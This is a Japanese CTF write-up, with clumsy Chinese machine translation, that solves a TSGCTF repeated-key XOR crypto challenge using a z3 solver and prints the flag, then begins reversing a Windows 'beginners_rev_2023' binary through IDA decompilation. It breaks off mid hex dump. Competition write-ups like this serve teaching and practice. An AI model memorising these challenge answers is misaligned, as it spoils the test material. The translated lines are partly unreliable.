encrypted_flags = [flag[i]^key_stream[i%16] for i in range(len(flag))]

print("cipher =",encrypted_flags)
print("flag_length =",len(flag))

ランダムな16バイト列をストリーム暗号に使って、XORする内容です。しかし実際は、フラグの先頭部分や末尾部分、フラグ内容とMD5を区切る@など、値が確定する要素も多くあります。そのためz3-solverで探索できるのでは考えて、ソルバーを書きました:
随机 16 字节序列用于流加密和 XORed。 但是,在现实中,决定该值的因素有很多,例如标志的开头和结尾, @ 以及标志内容与MD5的分离。 因此,我认为可以用z3-solver来探索它,所以我写了一个求解器:

#!/usr/bin/env python3

import z3
import ast
import string
import re
import hashlib
import base64

with open("output.py") as f:
    cipher = ast.literal_eval(f.readline().split(" = ")[1])
    flag_length = ast.literal_eval(f.readline().split(" = ")[1])
    assert flag_length == 304

flag_prefix = "TSGCTF{"
# size_md5_digest = 16
size_md5_digest_base64 = 24 # b'CY9rzUYh03PK3k6DJie09g=='等、後ろ2文字は=になるはず
size_flag_content = flag_length - (len(flag_prefix) + len("@") + size_md5_digest_base64 + len("}"))
solver = z3.Solver()
keys = [z3.BitVec(f"key_stream_{i:02d}", 8) for i in range(16)]

def add_key_range(c, candidates:str):
    solver.add(0x21 <= c)
    solver.add(c <= 0x7e)
    for i in range(0x20, 0x7f):
        if chr(i) not in candidates:
            solver.add(c != i)
pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
pattern_candidates = ""
for i in range(0x20, 0x7f):
    if pattern.fullmatch(chr(i)):
        pattern_candidates += chr(i)
print(f"{pattern_candidates = }")

# フラグ先頭箇所
for (i, v) in enumerate(flag_prefix):
    solver.add(keys[i % len(keys)] ^ ord(flag_prefix[i]) == cipher[i])

# flag_content箇所
for i in range(size_flag_content):
    offset_cipher = len(flag_prefix) + i
    offset_key = offset_cipher % len(keys)
    c = keys[offset_key] ^ cipher[offset_cipher]
    add_key_range(c, pattern_candidates)

# @箇所
offset_atmark = len(flag_prefix) + size_flag_content
solver.add(keys[offset_atmark % len(keys)] ^ ord("@") == cipher[offset_atmark])

# base64箇所
for i in range(size_md5_digest_base64):
    offset_cipher = len(flag_prefix) + size_flag_content + len("@") + i
    offset_key = offset_cipher % len(keys)
    c = keys[offset_key] ^ cipher[offset_cipher]
    if i + 2 < size_md5_digest_base64:
        add_key_range(c, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
    else:
        add_key_range(c, "=")

# 最後
offset_closing = flag_length - 1
solver.add(keys[offset_closing % len(keys)] ^ ord("}") == cipher[offset_closing])

try_count = 0
while True:
    try_count += 1
    if try_count % 100 == 0:
        print(try_count)
    if solver.check() != z3.sat:
        raise Exception("Can not solve...")

    model = solver.model()
    secret = []
    for key in keys:
        secret.append(model[key].as_long())
    # print(f"{secret = }")
    flag = ""
    for (i, v) in enumerate(cipher):
        flag += chr(v ^ secret[i % len(secret)])

    # ↓break条件検証用
    # flag = "TSGCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@imCnzn5osIF808i4bROFMg==}"
    flag_content = flag[len(flag_prefix) : len(flag_prefix)+size_flag_content]
    flag_md5_base64 = flag[-(size_md5_digest_base64+1) : -1]
    # print(flag_content)
    # print(flag_md5_base64)
    if base64.b64encode(hashlib.md5(flag_content.encode()).digest()) == flag_md5_base64.encode():
        print(flag)
        print("Solved!")
        break
    # 同じ解を出さないための制約を追加 https://stackoverflow.com/questions/11867611/z3py-checking-all-solutions-for-equation/70656700#70656700
    block = []
    for i in range(len(keys)):
        block.append(keys[i] != secret[i])
    solver.add(z3.Or(block))

書き上げた後に試しに実行すると、最初のうちこそは1秒間に800回ほど施行できていましたが、試行回数が20000回目になる頃には1秒間に100回ほどの思考まで遅くなっていました。同じ解を出さないためのOR条件の追加が相当響いているようでした。ちなみにこのソルバーでも2時間動かし続ければフラグは出ました:
当我在写完它后尝试它时,我一开始能够每秒执行大约 800 次,但当我尝试 20,000 次时,它已经减慢到每秒大约 100 次。 添加OR条件以防止获得相同的解决方案似乎引起了相当大的共鸣。 顺便说一句,即使使用此求解器,如果您继续运行它 2 小时,也会出现以下标志:

$ time ./solve.py
(略)
143600
143700
TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==}
Solved!
./solve.py  7308.84s user 1.57s system 99% cpu 2:01:50.50 total
$

ただ本問題に取り組み始めたのが終了1時間前だったので、何とかしてより早く探索する必要がありました。探索中のフラグ内容を16バイトずつ区切ってみると、内容は文章になっているようでした:
但是,直到结束前一个小时我才开始研究这个问题,所以我需要以某种方式更快地探索它。 当我将正在搜索的标志的内容分隔 16 个字节时,内容似乎是句子:

// 左6列が探索対象、右10列は完全固定
VmoFl+ n63|2_+|-|
1Zlua- _the_saf3|
0Zc2_v 4`/_8e_as_
njvE|| _4$_you_us
gZke\g _a|*pr0|*r
kd!*_( |\|cry|*+i
2k$FTs i$_ci|*|-|
1wUp$D 4_0ne_+i|\
-yoF|1 a|)_ra+h3|
0Z~e-g 4|\|_a_s+r
g1gF(r ph3r,_but_
kqUp$D ins3(u|2e_
``"xuh e_it_us3s_
vmoF$/ |\/|e_r4nd
mhUwuv 83r$_re|*3
6.9e)w y._enjoy_h
cmkqaD :-)-:)-:)

H|-|と表現していたり、M|\/|と表現していたりするようです。ここで内容をじっくり眺めると、固定部分が4_0ne_+i|\で終わっている箇所がありました。おそらくその次は、Nのleetなら|に、Mのleetなら/|になるはずです。試しに制約を追加して実行すると、|では充足不可でした。そのため/|になるよう制約を追加しました。文章からフラグエスパー箇所付近が追加内容です:
H |-| 它似乎表示为 ,或 M |\/| 。 如果仔细观察这里的内容,就会发现有一个部分的固定部分以 4_0ne_+i|\ 结尾。 可能接下来的事情是 N leet,而 M leet | 应该是 /| . 当我尝试添加约束并运行 | 它时,并不令人满意。 这就是我们向 添加约束的原因 /| 。 文章からフラグエスパー 紧挨着是附加内容:

#!/usr/bin/env python3

import z3
import ast
import string
import re
import hashlib
import base64
import itertools

with open("output.py") as f:
    cipher = ast.literal_eval(f.readline().split(" = ")[1])
    flag_length = ast.literal_eval(f.readline().split(" = ")[1])
    assert flag_length == 304

flag_prefix = "TSGCTF{"
# size_md5_digest = 16
size_md5_digest_base64 = 24 # b'CY9rzUYh03PK3k6DJie09g=='等、後ろ2文字は=になるはず
size_flag_content = flag_length - (len(flag_prefix) + len("@") + size_md5_digest_base64 + len("}"))
solver = z3.Solver()
keys = [z3.BitVec(f"key_stream_{i:02d}", 8) for i in range(16)]

def add_key_range(c, candidates:str):
    solver.add(0x21 <= c)
    solver.add(c <= 0x7e)
    for i in range(0x20, 0x7f):
        if chr(i) not in candidates:
            solver.add(c != i)
pattern = re.compile("[a-zA-Z0-9!-/:-?\[-`|~]+")
pattern_candidates = ""
for i in range(0x20, 0x7f):
    if pattern.fullmatch(chr(i)):
        pattern_candidates += chr(i)
print(f"{pattern_candidates = }")

# フラグ先頭箇所
for (i, v) in enumerate(flag_prefix):
    solver.add(keys[i % len(keys)] ^ ord(flag_prefix[i]) == cipher[i])

# flag_content箇所
for i in range(size_flag_content):
    offset_cipher = len(flag_prefix) + i
    offset_key = offset_cipher % len(keys)
    c = keys[offset_key] ^ cipher[offset_cipher]
    add_key_range(c, pattern_candidates)

# @箇所
offset_atmark = len(flag_prefix) + size_flag_content
solver.add(keys[offset_atmark % len(keys)] ^ ord("@") == cipher[offset_atmark])

# base64箇所
for i in range(size_md5_digest_base64):
    offset_cipher = len(flag_prefix) + size_flag_content + len("@") + i
    offset_key = offset_cipher % len(keys)
    c = keys[offset_key] ^ cipher[offset_cipher]
    if i + 2 < size_md5_digest_base64:
        add_key_range(c, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")
    else:
        add_key_range(c, "=")

# 最後
offset_closing = flag_length - 1
solver.add(keys[offset_closing % len(keys)] ^ ord("}") == cipher[offset_closing])

# 文章からフラグエスパー
solver.add(keys[len(flag_prefix)] ^ cipher[len(flag_prefix) + (16*8)] == ord("/"))
solver.add(keys[len(flag_prefix)+1] ^ cipher[len(flag_prefix) + (16*8)+1] == ord("|"))

try_count = 0
while True:
    try_count += 1
    if try_count % 100 == 0:
        print(try_count)
    if solver.check() != z3.sat:
        raise Exception("Can not solve...")

    model = solver.model()
    secret = []
    for key in keys:
        secret.append(model[key].as_long())
    print(f"{secret = }")
    flag = ""
    for (i, v) in enumerate(cipher):
        flag += chr(v ^ secret[i % len(secret)])

    # ↓break条件検証用
    # flag = "TSGCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@imCnzn5osIF808i4bROFMg==}"
    flag_content = flag[len(flag_prefix) : len(flag_prefix)+size_flag_content]
    flag_md5_base64 = flag[-(size_md5_digest_base64+1) : -1]

    def chunks(lst, n):
        """Yield successive n-sized chunks from lst."""
        for i in range(0, len(lst), n):
            yield lst[i:i + n]
    print(flag)
    for chunk in chunks(flag_content, 16):
        print(chunk)
    print(flag_md5_base64)
    if base64.b64encode(hashlib.md5(flag_content.encode()).digest()) == flag_md5_base64.encode():
        print(flag)
        print("Solved!")
        break
    # 同じ解を出さないための制約を追加 https://stackoverflow.com/questions/11867611/z3py-checking-all-solutions-for-equation/70656700#70656700
    block = []
    for i in range(len(keys)):
        block.append(keys[i] != secret[i])
    solver.add(z3.Or(block))

実行しました: 执行:

$ time ./solve_esper.py
(略)
secret = [247, 176, 17, 0, 156, 72, 203, 232, 13, 179, 42, 62, 83, 41, 241, 70]
TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==}
The_l0n63|2_+|-|
3_fla6_the_saf3|
2_i+_m4`/_8e_as_
lo|\|g_4$_you_us
e_a|\|_a|*pr0|*r
ia+3_3|\|cry|*+i
0n._Thi$_ci|*|-|
3r_i$_4_0ne_+i|\
/|e_|*a|)_ra+h3|
2_t|-|4|\|_a_s+r
e4m_(iph3r,_but_
it_i$_ins3(u|2e_
be(ause_it_us3s_
the_$4|\/|e_r4nd
om_num83r$_re|*3
4+3|)ly._enjoy_h
ahaha_:-)-:)-:)
TWp6sQXidRLICfdhOMY+IA==
TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==}
Solved!
./solve_esper.py  3.06s user 0.25s system 99% cpu 3.346 total
$

約3秒でフラグを入手できました: TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==}
我能够在大约 3 秒内获得标志: TSGCTF{The_l0n63|2_+|-|3_fla6_the_saf3|2_i+_m4`/_8e_as_lo|\|g_4$_you_use_a|\|_a|*pr0|*ria+3_3|\|cry|*+i0n._Thi$_ci|*|-|3r_i$_4_0ne_+i|\/|e_|*a|)_ra+h3|2_t|-|4|\|_a_s+re4m_(iph3r,_but_it_i$_ins3(u|2e_be(ause_it_us3s_the_$4|\/|e_r4ndom_num83r$_re|*34+3|)ly._enjoy_hahaha_:-)-:)-:)@TWp6sQXidRLICfdhOMY+IA==}

leet内容は、多分The longer the flag the safer it may be as long as you use an appropriate encryption. This cipher is a one time pad rather than a stream cipher, but it is insecure because it uses the same random numbers repeatedly. Enjoy hahaha :-)-:)-:)だと思います。
我认为 The longer the flag the safer it may be as long as you use an appropriate encryption. This cipher is a one time pad rather than a stream cipher, but it is insecure because it uses the same random numbers repeatedly. Enjoy hahaha :-)-:)-:) leet 内容可能是.

[Reversing, beginner, easy] beginners_rev_2023 (24 team solved, 189 points)

一つ一つ対処していくとしよう。

初心者向けのヒント:

GhidraやIDA Freeなどで全体の処理を見てみよう
x64dbgやWindbgを使って動かしてみよう
暗号化の方式ややっている処理はググれば出てくるかも?
入力した文字列は最終的に何と比べられているのだろう
各処理を元に戻していこう

配布ファイルとして、問題本体のbeginners-rev-2023.exeがありました:
作为分发文件, beginners-rev-2023.exe 存在一个问题正文:

$ file *
beginners-rev-2023.exe:     PE32+ executable (console) x86-64, for MS Windows
$

そうですEXEです、ELFではありません。とりあえずIDAで開いて真面目に色々調査しました。暗号処理に使用している構造体は以下の内容のようでした:
没错,它是 EXE,而不是 ELF。 目前,我在IDA打开了它,并认真调查了各种事情。 用于加密过程的结构似乎具有以下内容:

00000000 EncryptionContext struc ; (sizeof=0x408, mappedto_34)
00000000 dwSomething0    dd ?
00000004 dwSomething4    dd ?
00000008 dwArraySboxSize256 dd 256 dup(?)
00000408 EncryptionContext ends

S-boxは4バイト整数型の配列ですが、デバッガーで見る限りは下位1バイトのみを使用しているように見えました。
S-box 是一个 4 字节整数数组,但据我在调试器中看到,它似乎只使用较低的 1 个字节。

main関数の逆コンパイル結果に、リネームや型付けをした結果です:
main 这是重命名和键入函数作为反编译的结果:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  EncryptionContext *pContext; // rdi
  __int64 dwKeyLength; // rdx
  BYTE *pByteArrayFromInputtedFlag; // rbx
  __int64 dwBlockSize; // rsi
  BYTE *pCharToModifyInputtedFlag; // rdx
  __int64 dwRestRoundCount; // r8
  unsigned __int64 v9; // rax
  BYTE *v10; // rax
  unsigned __int64 v11; // rcx
  int bIsWrong; // eax
  const char *pStrOutput; // rcx
  char strSomeKey[16]; // [rsp+20h] [rbp-238h] BYREF
  BYTE byteArrayEncryptedFlagSize0x210[528]; // [rsp+30h] [rbp-228h] BYREF

  pContext = (EncryptionContext *)malloc(sizeof(EncryptionContext));
  dwKeyLength = -1i64;
  pContext->dwSomething0 = 0;
  pContext->dwSomething4 = 0;
  strcpy(strSomeKey, "2023TTSSGG2023!");        // 末尾NUL文字含めて16バイト
  do
    ++dwKeyLength;
  while ( strSomeKey[dwKeyLength] );            // 試しても実際長さは15
  InitializeSbox((BYTE *)pContext, dwKeyLength, strSomeKey);
  pByteArrayFromInputtedFlag = (BYTE *)malloc(0x201ui64);
  memset(pByteArrayFromInputtedFlag, 0, 0x201ui64);
  printf("Flag> ");
  scanf("%s", pByteArrayFromInputtedFlag);
  memset(byteArrayEncryptedFlagSize0x210, 0, 0x201ui64);
  dwBlockSize = 2i64;                           // 1ブロック256バイトらしい
  pCharToModifyInputtedFlag = pByteArrayFromInputtedFlag + 24;
  dwRestRoundCount = 2i64;
  do
  {
    *((_QWORD *)pCharToModifyInputtedFlag - 3) ^= *((_QWORD *)pCharToModifyInputtedFlag - 3) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 2) ^= *((_QWORD *)pCharToModifyInputtedFlag - 2) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 1) ^= *((_QWORD *)pCharToModifyInputtedFlag - 1) >> 12;
    *(_QWORD *)pCharToModifyInputtedFlag ^= *(_QWORD *)pCharToModifyInputtedFlag >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 1) ^= *((_QWORD *)pCharToModifyInputtedFlag + 1) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 2) ^= *((_QWORD *)pCharToModifyInputtedFlag + 2) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 3) ^= *((_QWORD *)pCharToModifyInputtedFlag + 3) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 4) ^= *((_QWORD *)pCharToModifyInputtedFlag + 4) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 5) ^= *((_QWORD *)pCharToModifyInputtedFlag + 5) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 6) ^= *((_QWORD *)pCharToModifyInputtedFlag + 6) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 7) ^= *((_QWORD *)pCharToModifyInputtedFlag + 7) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 8) ^= *((_QWORD *)pCharToModifyInputtedFlag + 8) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 9) ^= *((_QWORD *)pCharToModifyInputtedFlag + 9) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 10) ^= *((_QWORD *)pCharToModifyInputtedFlag + 10) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 11) ^= *((_QWORD *)pCharToModifyInputtedFlag + 11) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 12) ^= *((_QWORD *)pCharToModifyInputtedFlag + 12) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 13) ^= *((_QWORD *)pCharToModifyInputtedFlag + 13) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 14) ^= *((_QWORD *)pCharToModifyInputtedFlag + 14) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 15) ^= *((_QWORD *)pCharToModifyInputtedFlag + 15) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 16) ^= *((_QWORD *)pCharToModifyInputtedFlag + 16) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 17) ^= *((_QWORD *)pCharToModifyInputtedFlag + 17) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 18) ^= *((_QWORD *)pCharToModifyInputtedFlag + 18) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 19) ^= *((_QWORD *)pCharToModifyInputtedFlag + 19) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag + 20) ^= *((_QWORD *)pCharToModifyInputtedFlag + 20) >> 12;
    v9 = *((_QWORD *)pCharToModifyInputtedFlag + 21);
    pCharToModifyInputtedFlag += 256;
    *((_QWORD *)pCharToModifyInputtedFlag - 11) = v9 ^ (v9 >> 12);
    *((_QWORD *)pCharToModifyInputtedFlag - 10) ^= *((_QWORD *)pCharToModifyInputtedFlag - 10) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 9) ^= *((_QWORD *)pCharToModifyInputtedFlag - 9) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 8) ^= *((_QWORD *)pCharToModifyInputtedFlag - 8) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 7) ^= *((_QWORD *)pCharToModifyInputtedFlag - 7) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 6) ^= *((_QWORD *)pCharToModifyInputtedFlag - 6) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 5) ^= *((_QWORD *)pCharToModifyInputtedFlag - 5) >> 12;
    *((_QWORD *)pCharToModifyInputtedFlag - 4) ^= *((_QWORD *)pCharToModifyInputtedFlag - 4) >> 12;
    --dwRestRoundCount;
  }
  while ( dwRestRoundCount );
  Encrypt(
    pContext,                                   // 関数中で書き換えられる
    (__int64)pCharToModifyInputtedFlag,         // 未使用引数
    pByteArrayFromInputtedFlag,
    byteArrayEncryptedFlagSize0x210);
  v10 = &byteArrayEncryptedFlagSize0x210[24];
  do
  {
    *((_QWORD *)v10 - 3) ^= *((_QWORD *)v10 - 3) >> 12;
    *((_QWORD *)v10 - 2) ^= *((_QWORD *)v10 - 2) >> 12;
    *((_QWORD *)v10 - 1) ^= *((_QWORD *)v10 - 1) >> 12;
    *(_QWORD *)v10 ^= *(_QWORD *)v10 >> 12;
    *((_QWORD *)v10 + 1) ^= *((_QWORD *)v10 + 1) >> 12;
    *((_QWORD *)v10 + 2) ^= *((_QWORD *)v10 + 2) >> 12;
    *((_QWORD *)v10 + 3) ^= *((_QWORD *)v10 + 3) >> 12;
    *((_QWORD *)v10 + 4) ^= *((_QWORD *)v10 + 4) >> 12;
    *((_QWORD *)v10 + 5) ^= *((_QWORD *)v10 + 5) >> 12;
    *((_QWORD *)v10 + 6) ^= *((_QWORD *)v10 + 6) >> 12;
    *((_QWORD *)v10 + 7) ^= *((_QWORD *)v10 + 7) >> 12;
    *((_QWORD *)v10 + 8) ^= *((_QWORD *)v10 + 8) >> 12;
    *((_QWORD *)v10 + 9) ^= *((_QWORD *)v10 + 9) >> 12;
    *((_QWORD *)v10 + 10) ^= *((_QWORD *)v10 + 10) >> 12;
    *((_QWORD *)v10 + 11) ^= *((_QWORD *)v10 + 11) >> 12;
    *((_QWORD *)v10 + 12) ^= *((_QWORD *)v10 + 12) >> 12;
    *((_QWORD *)v10 + 13) ^= *((_QWORD *)v10 + 13) >> 12;
    *((_QWORD *)v10 + 14) ^= *((_QWORD *)v10 + 14) >> 12;
    *((_QWORD *)v10 + 15) ^= *((_QWORD *)v10 + 15) >> 12;
    *((_QWORD *)v10 + 16) ^= *((_QWORD *)v10 + 16) >> 12;
    *((_QWORD *)v10 + 17) ^= *((_QWORD *)v10 + 17) >> 12;
    *((_QWORD *)v10 + 18) ^= *((_QWORD *)v10 + 18) >> 12;
    *((_QWORD *)v10 + 19) ^= *((_QWORD *)v10 + 19) >> 12;
    *((_QWORD *)v10 + 20) ^= *((_QWORD *)v10 + 20) >> 12;
    v11 = *((_QWORD *)v10 + 21);
    v10 += 256;
    *((_QWORD *)v10 - 11) = v11 ^ (v11 >> 12);
    *((_QWORD *)v10 - 10) ^= *((_QWORD *)v10 - 10) >> 12;
    *((_QWORD *)v10 - 9) ^= *((_QWORD *)v10 - 9) >> 12;
    *((_QWORD *)v10 - 8) ^= *((_QWORD *)v10 - 8) >> 12;
    *((_QWORD *)v10 - 7) ^= *((_QWORD *)v10 - 7) >> 12;
    *((_QWORD *)v10 - 6) ^= *((_QWORD *)v10 - 6) >> 12;
    *((_QWORD *)v10 - 5) ^= *((_QWORD *)v10 - 5) >> 12;
    *((_QWORD *)v10 - 4) ^= *((_QWORD *)v10 - 4) >> 12;
    --dwBlockSize;
  }
  while ( dwBlockSize );                        // 2回ループ
  bIsWrong = memcmp(byteArrayEncryptedFlagSize0x210, g_byteArrayExptededResult, 0x200ui64);
  pStrOutput = "Correct!!!";
  if ( bIsWrong )
    pStrOutput = "Wrong...";
  puts(pStrOutput);
  return 0;
}

main関数では以下のことを行っています:
main 该函数执行以下操作:

  1. 固定鍵2023TTSSGG2023!を使ったS-boxの初期化する。
    使用固定键初始化 S-box 2023TTSSGG2023! 。
  2. scanf関数でフラグの読み込む  scanf 在函数中加载标志
  3. 読み込んだフラグを8バイトずつ区切ってd ^= (d>>12)相当の加工をする。
    将读取标志除以 8 个字节并执行 d ^= (d>>12) 大量处理。
  4. ↑の加工結果を暗号化する。 对 ↑ 的处理结果进行加密。
  5. ↑の暗号化結果を8バイトずつ区切ってd ^= (d>>12)相当の加工をする。
    将 ↑ 的加密结果除以 8 个字节,并执行 d ^= (d>>12) 相当大的处理。
  6. ↑の加工結果が、期待するグローバル変数内容と一致するか検証する。
    验证 ↑ 的处理结果是否与预期的全局变量内容匹配。

S-boxの初期化処理や暗号化処理を見るに、暗号化処理はRC4そのものに見えました。しかし試しにRC4でフラグを復号しようとしましたが、どうにもうまくいきませんでした、悲しい。ブロックサイズらしいものがある点が何か特別なのかもしれません。
从S-box的初始化过程和加密过程来看,加密过程看起来就像RC4本身一样。 但是我试图用 RC4 解密标志,但遗憾的是它没有用。 可能有一些特别之处,即有些东西似乎是块大小。

とはいえ、RC4暗号に見えるくらいには「内部状態のS-boxを更新して、XORで暗号化」をしていました。すなわちストリーム暗号として動作しているようでした。ストリーム暗号ということは暗号化と復号が完全に同一であること意味します。以下のフラグ算出方法を思いつきました:
但是,在某种程度上,它看起来像 RC4 加密,我正在“更新内部状态 S-box 并使用 XOR 对其进行加密”。 换句话说,它似乎是作为流密码运行的。 流加密意味着加密和解密是完全相同的。 我想出了以下方法来计算标志:

  1. 期待するグローバル変数内容について「8バイトずつ区切ってd ^= (d>>12)相当の加工」の逆演算を行う。
    对预期的全局变量内容执行“将 8 个字节分隔为 8 个字节并 d ^= (d>>12) 进行等效处理”的反向操作。
  2. 本問題のプログラムを動作させて暗号化直前にブレークさせ、↑の逆演算結果が入力になるよう改ざんする。
    运行有问题的程序,在加密前将其破坏,并篡改 ↑ 作为输入的反向操作结果。
  3. 「暗号化」結果を確認する。 检查“加密”结果。
  4. 確認結果について「8バイトずつ区切ってd ^= (d>>12)相当の加工」の逆演算を行い、フラグを算出する。
    对确认结果进行“以 d ^= (d>>12) 8 字节分隔的等效处理”的反向运算,并计算标志。

ひとまず「期待するグローバル変数内容について「d ^= (d>>12)相当の加工」の逆演算を行う」コードを書きました。z3は部分問題を解く上で心強い味方です:
目前,我编写了一个代码,用于对预期的全局变量内容执行“ d ^= (d>>12) 等效处理”的反向操作。 Z3 是解决子问题的绝佳盟友:

#!/usr/bin/env python3

import struct
import z3

# `x ^ (x >> 12)`の逆関数です。
def inv_xor_shr12(x):
    s = z3.Solver()
    v = z3.BitVec("v", 64)
    s.add(v ^ (z3.LShR(v, 12)) == x)
    if s.check() == z3.sat:
        return s.model()[v].as_long()
    raise Exception("Can not satisfied")

def inv_xor_shr12_bytearray(b):
    for i in range(len(b) // 8):
        v = struct.unpack("<Q", b[i*8:(i+1)*8])[0]
        # print(f"{i=}, {v=:16x}")
        original = inv_xor_shr12(v)
        b[i*8:(i+1)*8] = struct.pack("<Q", original)

# IDAで「.data:0000000140004040」以降をしばらく範囲選択して、Shift+Eで「Export data」して取得しました
expected = bytearray.fromhex("07 56 E5 58 71 89 9A CA F0 67 03 2D 49 FB 6E 86 C2 F7 48 CA 3C 43 DB 8E 04 2A 56 4A 97 33 A1 A2 07 83 F0 89 19 13 77 B4 9F 7D 7B 9C DD 8E FD AD B5 E2 28 0E 06 AF E5 E3 86 C3 08 AD E6 4C DE 63 A3 5F 1E 96 34 7D 9D 19 F5 C8 84 7F 7B 62 2A 6B C1 28 3B 6D 09 EF FC CB A0 90 9A 3E 66 A2 4E 06 90 2C 9D AE 3C 99 40 53 4C 69 63 E7 B9 A8 B3 87 A5 97 98 FE 1F 20 51 A7 AE 0D 00 AB 16 35 59 3D 08 1B 1C 92 E2 4F 1D 86 A5 6E 0A 14 45 4D 61 08 69 C3 12 A2 EB 50 13 93 22 E2 C4 10 CA 5F B2 0B A2 30 C8 54 91 3A 37 FD D2 10 AB 5A F8 38 F3 D3 D5 85 58 DE DF C0 F4 17 4E F7 31 79 DD 41 2F B3 20 C7 EC 98 5E AE F7 A9 CB 27 13 72 FE CA 64 FF 43 93 80 3E 1E E5 99 BF 41 4B 9D 85 4E 0F 99 94 57 E1 63 D9 01 85 78 8A 06 FE 9D 41 32 74 55 83 B2 85 E9 9F C6 2C 4B 62 8F BF 7D 57 C8 76 3B 31 5E 87 60 89 35 41 C1 52 6C D0 0B 7D CA 60 5D 82 19 B0 96 5E 16 E7 9B 2F 37 5F C9 C5 F3 20 C3 45 CB 47 A1 CC 79 E5 B6 FB D4 55 DB C1 35 9B 8B FA 38 D5 B2 B5 E0 4F 4D 6C 4F 8C 0C 42 BC 8E B3 78 48 E4 87 8E 34 A3 1D 01 53 98 71 FA 8F 2F E3 7A 6B B9 1B B6 7E 34 7F C8 C4 6C AB 45 4D 81 EF EE C3 D9 DB 13 5B 63 90 FC 34 18 81 BC D1 18 48 BB 7C 24 5B 56 2B 35 6B D7 F9 D3 D5 2B E2 24 D8 50 F1 EC D5 E6 29 55 66 F2 F7 28 20 7D F3 47 40 03 11 4A 47 A5 B4 74 15 35 D0 F0 E5 4C 04 B5 59 FE FC 45 9D 3A A1 3F 1A A7 A8 51 E5 65 F1 56 EE DE FC C4 87 F5 FA 79 31 07 0A 3F 41 28 D1 59 17 4D 02 